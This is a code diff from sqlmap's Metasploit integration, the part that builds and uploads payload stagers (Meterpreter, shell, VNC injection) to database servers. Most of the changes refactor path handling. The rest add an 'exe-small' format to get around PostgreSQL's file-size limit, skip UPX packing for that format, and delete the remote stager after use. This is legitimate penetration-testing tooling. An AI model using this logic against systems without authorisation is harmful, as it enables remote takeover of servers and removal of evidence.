@@ -73,16 +73,16 @@ def __initVars(self):
7373 self .localIP = getLocalIP ()
7474 self .remoteIP = getRemoteIP ()
7575
76- self .__msfCli = os .path .normpath ("%s/msfcli" % conf .msfPath )
77- self .__msfConsole = os .path .normpath ("%s/msfconsole" % conf .msfPath )
78- self .__msfEncode = os .path .normpath ("%s/msfencode" % conf .msfPath )
79- self .__msfPayload = os .path .normpath ("%s/msfpayload" % conf .msfPath )
76+ self .__msfCli = os .path .normpath (os . path . join ( conf .msfPath , "msfcli" ) )
77+ self .__msfConsole = os .path .normpath (os . path . join ( conf .msfPath , "msfconsole" ) )
78+ self .__msfEncode = os .path .normpath (os . path . join ( conf .msfPath , "msfencode" ) )
79+ self .__msfPayload = os .path .normpath (os . path . join ( conf .msfPath , "msfpayload" ) )
8080
8181 self .__msfPayloadsList = {
8282 "windows" : {
8383 1 : ( "Meterpreter (default)" , "windows/meterpreter" ),
84- 3 : ( "Shell" , "windows/shell" ),
85- 4 : ( "VNC" , "windows/vncinject" ),
84+ 2 : ( "Shell" , "windows/shell" ),
85+ 3 : ( "VNC" , "windows/vncinject" ),
8686 },
8787 "linux" : {
8888 1 : ( "Shell" , "linux/x86/shell" ),
@@ -254,7 +254,7 @@ def __selectPayload(self, askChurrasco=True):
254254
255255 break
256256
257- elif askChurrasco == False :
257+ elif askChurrasco is False :
258258 logger .warn ("beware that the VNC injection might not work" )
259259
260260 break
@@ -361,7 +361,7 @@ def __forgeMsfConsoleCmd(self):
361361
362362
363363 def __forgeMsfConsoleResource (self ):
364- self .resourceFile = "%s/%s" % (conf .outputPath , self .__randFile )
364+ self .resourceFile = os . path . join (conf .outputPath , self .__randFile )
365365
366366 self .__prepareIngredients (encode = False , askChurrasco = False )
367367
@@ -542,7 +542,7 @@ def createMsfShellcode(self, exitfunc, format, extra, encode):
542542 logger .info (infoMsg )
543543
544544 self .__randStr = randomStr (lowercase = True )
545- self .__shellcodeFilePath = "%s/ sqlmapmsf%s" % ( conf . outputPath , self .__randStr )
545+ self .__shellcodeFilePath = os . path . join ( conf . outputPath , " sqlmapmsf%s" % self .__randStr )
546546
547547 self .__initVars ()
548548 self .__prepareIngredients (encode = encode , askChurrasco = False )
@@ -592,10 +592,20 @@ def createMsfPayloadStager(self, initialize=True):
592592 self .__randStr = randomStr (lowercase = True )
593593
594594 if kb .os == "Windows" :
595- self .exeFilePathLocal = "%s/sqlmapmsf%s.exe" % (conf .outputPath , self .__randStr )
596- self .__fileFormat = "exe"
595+ self .exeFilePathLocal = os .path .join (conf .outputPath , "sqlmapmsf%s.exe" % self .__randStr )
596+
597+ # Metasploit developers added support for the old exe format
598+ # to msfencode using '-t exe-small' (>= 3.3.3-dev),
599+ # http://www.metasploit.com/redmine/projects/framework/repository/revisions/7840
600+ # This is useful for sqlmap because on PostgreSQL it is not
601+ # possible to write files bigger than 8192 bytes abusing the
602+ # lo_export() feature implemented in sqlmap.
603+ if kb .dbms == "PostgreSQL" :
604+ self .__fileFormat = "exe-small"
605+ else :
606+ self .__fileFormat = "exe"
597607 else :
598- self .exeFilePathLocal = "%s/ sqlmapmsf%s" % ( conf . outputPath , self .__randStr )
608+ self .exeFilePathLocal = os . path . join ( conf . outputPath , " sqlmapmsf%s" % self .__randStr )
599609 self .__fileFormat = "elf"
600610
601611 if initialize == True :
@@ -614,7 +624,7 @@ def createMsfPayloadStager(self, initialize=True):
614624 payloadStderr = process .communicate ()[1 ]
615625
616626 if kb .os == "Windows" :
617- payloadSize = re .search ("size ([\d]+)" , payloadStderr , re .I )
627+ payloadSize = re .search ("size\s ([\d]+)" , payloadStderr , re .I )
618628 else :
619629 payloadSize = re .search ("Length\:\s([\d]+)" , payloadStderr , re .I )
620630
@@ -623,10 +633,18 @@ def createMsfPayloadStager(self, initialize=True):
623633 if payloadSize :
624634 payloadSize = payloadSize .group (1 )
625635 exeSize = os .path .getsize (self .exeFilePathLocal )
626- packedSize = upx .pack (self .exeFilePathLocal )
636+
637+ # Only pack the payload stager if the back-end DBMS is not
638+ # PostgreSQL because for this DBMS, sqlmap uses the
639+ # Metasploit's old exe format
640+ if self .__fileFormat != "exe-small" :
641+ packedSize = upx .pack (self .exeFilePathLocal )
642+ else :
643+ packedSize = None
644+
627645 debugMsg = "the encoded payload size is %s bytes, " % payloadSize
628646
629- if packedSize and packedSize != exeSize :
647+ if packedSize and packedSize < exeSize :
630648 debugMsg += "as a compressed portable executable its size "
631649 debugMsg += "is %d bytes, decompressed it " % packedSize
632650 debugMsg += "was %s bytes large" % exeSize
@@ -666,6 +684,9 @@ def pwn(self, goUdf=False):
666684 debugMsg += "with return code %s" % self .__controlMsfCmd (self .__msfCliProc , func )
667685 logger .debug (debugMsg )
668686
687+ if goUdf is False :
688+ self .delRemoteFile (self .exeFilePathRemote , doubleslash = True )
689+
669690
670691 def smb (self ):
671692 self .__initVars ()
0 commit comments